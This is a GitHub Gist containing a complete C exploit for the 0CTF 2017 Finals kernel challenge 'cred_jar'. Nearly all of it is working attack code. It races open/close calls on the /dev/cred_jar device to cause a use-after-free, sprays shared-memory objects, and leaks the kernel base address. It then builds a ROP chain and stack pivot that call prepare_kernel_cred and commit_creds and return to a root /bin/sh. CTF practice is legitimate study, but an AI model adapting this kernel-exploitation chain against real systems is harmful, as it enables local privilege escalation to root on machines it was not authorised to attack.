Created
December 5, 2018 07:49
-
-
Save hama7230/0056a29c58067b5ac4aba7a48c7a4f2b to your computer and use it in GitHub Desktop.
0CTF 2017 Finals cred_jar
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <pthread.h> | |
#include <sys/ipc.h> | |
#include <sys/shm.h> | |
#define SIZE 0x100 | |
int fd, fd2; | |
int fds[0x100]; | |
int fds_f[0x100]; | |
int race_win = 0; | |
int t = 0; | |
int m = 0; | |
unsigned long tmp = 0xdead; | |
unsigned long fake_table[0x20]; | |
unsigned long kernel_base; | |
unsigned long pop_rdi = 0xffffffff8100ae2d - 0xffffffff81000000; | |
unsigned long mov_rdi_rax_call_rcx_pop = 0xffffffff811cc51c- 0xffffffff81000000; | |
unsigned long pop_rcx_pop7 = 0xffffffff81045570 - 0xffffffff81000000; | |
unsigned long swapgs = 0xffffffff8194b121 - 0xffffffff81000000; | |
unsigned long iretq = 0xffffffff81022a86 - 0xffffffff81000000; | |
unsigned long prepare_kernel_cred = 0xffffffff810792f0 - 0xffffffff81000000; | |
unsigned long commit_creds = 0xffffffff81078f70 - 0xffffffff81000000; | |
unsigned long pivot_gadget = 0xffffffff81547ddb - 0xffffffff81000000; | |
unsigned long user_cs; | |
unsigned long user_ss; | |
unsigned long user_rflags; | |
static void save_state() { | |
__asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs)); | |
__asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss)); | |
__asm__("pushfq"); | |
__asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags)); | |
} | |
void shell(void) { | |
char *args[] = {"/bin/sh", 0}; | |
execve("/bin/sh", args, 0); | |
} | |
int alloc_jar(int _fd, int id, unsigned int size) { | |
unsigned long arg = size | ((unsigned long)id << 32); | |
return ioctl(_fd, 0x7401, arg); | |
} | |
int get_jar(int _fd, int id) { | |
return ioctl(_fd, 0x7402, id); | |
} | |
int put_jar(int _fd, unsigned long *buf) { | |
return ioctl(_fd, 0x7403, buf); | |
} | |
void *thread (void* args) { | |
while(!race_win) { | |
t = 0; | |
fd = open("/dev/cred_jar", O_RDWR); | |
alloc_jar(fd, 0xdead, SIZE-0x20); | |
t = 1; | |
while (!m); | |
close(fd); | |
usleep(1); | |
t = 0; | |
} | |
} | |
int main(void) { | |
pthread_t t1, t2; | |
unsigned long buf[0x100]; | |
unsigned long *fake_stack; | |
save_state(); | |
fake_stack = mmap(0x01750000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
puts("open /dev/cred_jar"); | |
for (int i=0; i<0x100; i++) { | |
fds[i] = open("/dev/cred_jar", O_RDWR); | |
if (fds[i] < 0) { | |
puts("open error"); | |
exit(1); | |
} | |
} | |
puts("alloc alloc_cred_jar_ctx() 0x100 times"); | |
for (int i=0; i<0x100; i++) | |
alloc_jar(fds[i], 0x11220000+i, SIZE-0x20); | |
puts("attempting race condition"); | |
pthread_create(&t1, NULL, thread, (void *)NULL); | |
while (1) { | |
m = 0; | |
fd2 = open("/dev/cred_jar", O_RDWR); | |
m = 1; | |
get_jar(fd2, 0xdead); | |
usleep(1); | |
m = 0; | |
put_jar(fd2, &tmp); | |
if (tmp != 0xdead) { | |
race_win = 1; | |
break; | |
} | |
while (!t); | |
close(fd2); | |
} | |
pthread_join( t1, NULL ); | |
puts("caused race condition"); | |
for (int i=0; i<0x100; i++) { | |
fds_f[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); | |
} | |
pread(fd2, buf, 0x10, 0x0); | |
kernel_base = buf[1] - 0xa175c0; | |
printf("kernel_base = %lx\n", kernel_base); | |
fake_stack += (0x8000/8); | |
*fake_stack++ = kernel_base + pop_rdi; | |
*fake_stack++ = 0; | |
*fake_stack++ = kernel_base + prepare_kernel_cred; | |
*fake_stack++ = kernel_base + pop_rcx_pop7; | |
*fake_stack++ = kernel_base + commit_creds; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = kernel_base + mov_rdi_rax_call_rcx_pop; | |
*fake_stack++ = 0; | |
*fake_stack++ = kernel_base + swapgs; | |
*fake_stack++ = kernel_base + iretq; | |
*fake_stack++ = (unsigned long)&shell; | |
*fake_stack++ = user_cs; | |
*fake_stack++ = user_rflags; | |
*fake_stack++ = 0x1750000 + 0x7000; | |
*fake_stack++ = user_ss; | |
buf[0] = &fake_table; | |
fake_table[0xe] = kernel_base + pivot_gadget; | |
pwrite(fd2, buf, 0x8, 8); | |
for (int i=0; i<0x100; i++) { | |
shmctl(fds_f[i], IPC_RMID, 0); | |
} | |
while(1) { | |
sleep(1); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment